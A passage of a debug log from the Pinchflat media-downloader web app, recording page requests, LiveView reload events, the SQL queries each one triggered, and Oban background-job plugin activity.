Parameters: %{"id" => "2", "source_id" => "1"} Pipelines: [:browser] 20:35:48.134 [debug] QUERY OK source="media_items" db=1.0ms idle=1530.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 20:35:48.136 [debug] QUERY OK source="tasks" db=0.8ms idle=1531.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [2] 20:35:48.136 [debug] QUERY OK source="sources" db=1.0ms idle=706.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:35:48.137 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=533.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5, 200] 20:35:48.138 [debug] QUERY OK source="settings" db=0.3ms idle=534.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:48.138 [debug] QUERY OK source="settings" db=0.3ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:48.139 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:48.140 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:35:48.142 [info] Sent 200 in 8ms 20:35:50.323 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 20:35:50.324 [debug] QUERY OK source="media_items" db=0.5ms idle=891.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:35:50.326 [debug] QUERY OK source="media_items" db=2.1ms queue=0.3ms idle=721.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:35:50.326 [debug] Replied in 3ms 20:35:51.890 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 20:35:51.892 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=454.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:35:51.894 [debug] QUERY OK source="media_items" db=1.6ms idle=289.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:35:51.895 [debug] QUERY OK source="sources" db=0.7ms idle=291.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:35:51.895 [debug] Replied in 5ms 20:35:54.627 [info] GET /sources/1/media/410 20:35:54.627 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "410", "source_id" => "1"} Pipelines: [:browser] 20:35:54.629 [debug] QUERY OK source="media_items" db=1.2ms idle=1024.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [410] 20:35:54.631 [debug] QUERY OK source="tasks" db=1.0ms idle=1026.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [410] 20:35:54.631 [debug] QUERY OK source="sources" db=1.1ms idle=1026.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:35:54.633 [debug] QUERY OK source="oban_jobs" db=1.9ms idle=1028.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [198, 251] 20:35:54.635 [debug] QUERY OK source="settings" db=1.7ms idle=191.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:54.637 [debug] QUERY OK source="settings" db=0.7ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:54.638 [debug] QUERY OK source="settings" db=1.2ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:54.641 [debug] QUERY OK source="media_profiles" db=1.8ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:35:54.644 [info] Sent 200 in 17ms 20:35:55.402 [info] CONNECTED TO Phoenix.LiveView.Socket in 38µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IQsNOgY8MAFBLBYUamF9OSMPVQ8tCBBCkX4iRYjw8YNQYR2OpZ77eBX0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:35:55.851 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 20:35:55.851 [debug] Replied in 155µs 20:36:00.451 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:15.579 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:24.365 [info] GET /sources/1/media/3 20:36:24.365 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3", "source_id" => "1"} Pipelines: [:browser] 20:36:24.366 [debug] QUERY OK source="media_items" db=0.5ms idle=1762.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 20:36:24.366 [debug] QUERY OK source="sources" db=0.3ms idle=1763.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:36:24.367 [debug] QUERY OK source="tasks" db=0.6ms idle=1763.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3] 20:36:24.368 [debug] QUERY OK source="oban_jobs" db=0.2ms queue=0.1ms idle=1764.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [6, 201] 20:36:24.369 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=864.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:36:24.369 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:36:24.370 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:36:24.371 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:36:24.372 [info] Sent 200 in 7ms 20:36:45.581 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:57.800 [info] GET /sources/1/media/1 20:36:57.801 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1", "source_id" => "1"} Pipelines: [:browser] 20:36:57.801 [debug] QUERY OK source="media_items" db=0.5ms idle=1197.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1] 20:36:57.803 [debug] QUERY OK source="tasks" db=1.2ms idle=224.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1] 20:36:57.803 [debug] QUERY OK source="sources" db=1.2ms idle=198.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:36:57.804 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=200.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [4, 199] 20:36:57.805 [debug] QUERY OK source="settings" db=0.7ms idle=201.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:36:57.806 [debug] QUERY OK source="settings" db=0.5ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:36:57.807 [debug] QUERY OK source="settings" db=0.7ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:36:57.808 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:36:57.809 [info] Sent 200 in 8ms 20:37:00.452 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:15.583 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:28.928 [info] GET /sources/1/media/5 20:37:28.928 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 20:37:28.929 [debug] QUERY OK source="media_items" db=0.6ms idle=1325.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 20:37:28.930 [debug] QUERY OK source="tasks" db=0.3ms idle=1326.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 20:37:28.931 [debug] QUERY OK source="sources" db=0.8ms idle=1290.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:37:28.931 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=327.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [8, 203] 20:37:28.932 [debug] QUERY OK source="settings" db=0.4ms idle=290.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:37:28.932 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:37:28.934 [debug] QUERY OK source="settings" db=1.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:37:28.936 [debug] QUERY OK source="media_profiles" db=0.8ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:37:28.937 [info] Sent 200 in 9ms 20:37:45.585 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:57.167 [info] GET /sources/1/media/7 20:37:57.167 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7", "source_id" => "1"} Pipelines: [:browser] 20:37:57.168 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=564.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 20:37:57.169 [debug] QUERY OK source="sources" db=0.6ms idle=565.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:37:57.169 [debug] QUERY OK source="tasks" db=0.7ms idle=565.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7] 20:37:57.171 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=567.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [10, 205] 20:37:57.172 